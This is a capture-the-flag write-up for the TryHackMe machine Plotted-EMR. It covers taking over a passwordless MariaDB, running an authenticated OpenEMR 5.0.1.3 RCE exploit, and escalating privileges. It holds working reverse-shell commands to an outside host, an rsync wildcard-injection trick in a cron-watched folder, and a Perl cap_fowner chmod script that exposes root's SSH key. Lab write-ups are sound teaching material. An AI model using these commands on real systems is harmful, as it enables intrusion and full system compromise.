TryHackMe Plotted-EMR Writeup

Summary

Plotted-EMR is a TryHackMe Linux box exposing anonymous FTP, a plain website on port 80, and a MariaDB on port 5900 that accepts the admin user with no password, letting the database root password be reset. A second web app on port 8890 runs OpenEMR 5.0.1.3, whose setup can be pointed at the now controlled database, and the authenticated RCE exploit 45161.py then returns a reverse shell as www-data. A cron job runs rsync with a wildcard as plot_admin against /var/www/html/portal/config, so planting a shell.sh and a crafted -e argument file makes rsync execute it, giving a shell as plot_admin. plot_admin can run perl, which carries the cap_fowner capability, so a Perl script chmods root’s files to read root’s SSH key and the root flag.

export IP=10.10.116.247

Port scanning

21/tcp on 10.10.116.247 (vsftpd 3.0.3) Anonymous FTP login allowed (FTP code 230)

22/tcp on 10.10.116.247 (OpenSSH 8.2p1 Ubuntu)

80/tcp on 10.10.116.247 (Apache httpd 2.4.41) Supported Methods: GET POST OPTIONS HEAD

5900/tcp on 10.10.116.247 (MySQL 5.5.5-10.3.31-MariaDB-0+deb10u1 )

Target: FTP Server (21)

The user ‘anonymous’ has access to only one file, named ‘you_are_determined.txt’ and a couple of directories

Target: Web server (80)

Nothing interesting.

Target: Mysql server (5900)

We can log in as admin withou any password! The user admin has root powers over the whole database. mysql -hIP -u admin

• Changing admin’s password: SET PASSWORD FOR ‘admin’ = PASSWORD(‘newpassword’);

Target: Web server (8890)

Running OpenEMR 5.0.1 (3) -> http://10.10.116.247:8890/portal/admin.php

Possible attack vector

OpenEMR 5.0.1.3 - ‘manage_site_files’ Remote Code Executio | php/webapps/49998.py OpenEMR 5.0.1.3 - ‘manage_site_files’ Remote Code Executio | php/webapps/50122.rb OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt OpenEMR 5.0.1.3 - Authentication Bypass | php/webapps/50017.py OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) | php/webapps/45161.py

Exploitation & Initial Access

1. Access http://10.10.116.247:8890/portal/admin.php
2. Click to create a new website (test3 in this case). Configuration:

• Server Host: Machine ip
• Server Port: 5900
• Database Name: openemr
• Login Name: openemr
• Password: Hacked123
• Name for Root Account: admin
• Root Pass: newpassword (as set before)
• User Hostname: Machine ip (defaults)
• Initial User: admin
• Initial User Password: admin (defaults)

1. Copy the exploit: $ searchsploit -m php/webapps/45161.py
2. Edit some parts of the exploit to work properly
3. Be happy. (command: python3 45161.py http://10.10.116.247:8890/portal -u admin -p admin -c ‘bash -i >& /dev/tcp/10.6.11.210/1337 0>&1’)

Privilege Escalation

Notes

Sudo version Sudo version 1.8.31

Vulnerable to CVE-2021-4034

Cronjobs* * * * * plot_admin cd /var/www/html/portal/config && rsync -t * plot_admin@127.0.0.1:~/backup

Potential interesing files -rw-rw-r– 1 www-data www-data 1992 May 28 2018 /var/www/html/portal/interface/main/backuplog.sh -rw-rw-r– 1 www-data www-data 27999 May 28 2018 /var/www/html/portal/interface/main/backup.php -rw-rw-r– 1 www-data www-data 2179 May 28 2018 /var/www/html/portal/interface/main/backuplog.php -rw-rw-r– 1 www-data www-data 1117 May 28 2018 /var/www/html/portal/contrib/util/backup_oemr.sh

Capabilities /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep /usr/bin/perl = cap_fowner+ep /usr/bin/ping = cap_net_raw+ep /usr/bin/perl5.30.0 = cap_fowner+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep /usr/bin/mtr-packet = cap_net_raw+ep /snap/core20/1328/usr/bin/ping = cap_net_raw+ep /snap/core20/1169/usr/bin/ping = cap_net_raw+ep

Executing

1. There’s a cronjob running every minute that uses rsync with a wildcard, which can be exploited. Head to: /var/www/html/portal/config and create a file named ‘shell.sh’. Shell.sh contents:

#!/bin/bash
bash -i >& /dev/tcp/10.6.11.210/3333 0>&1

1. Execute: echo "" > "-e bash shell.sh" (same folder)
2. Fire up netcat -lvnp 3333 (attacking machine)
3. Receive connection and get user flag (: (can use ssh to log in as plot_admin too, add our id_rsa.pub to /home/plot_admin/.ssh/authorized_keys)
4. Let’s abuse perl’s capabilities (cap_fowner) to get some extra privileges.
5. Create ‘exploit.pl’ at /home/plot_admin. exploit.pl contents:

chmod 0777, "/root";
chmod 0777, "/root/.ssh";
chmod 0777, "/root/.ssh/id_rsa";
chmod 0777, "/root/root.txt";

1. Run /usr/bin/perl exploit.pl as plot_admin.
2. Now we can get root’s id_rsa and log in as him, or simply get the root.txt flag.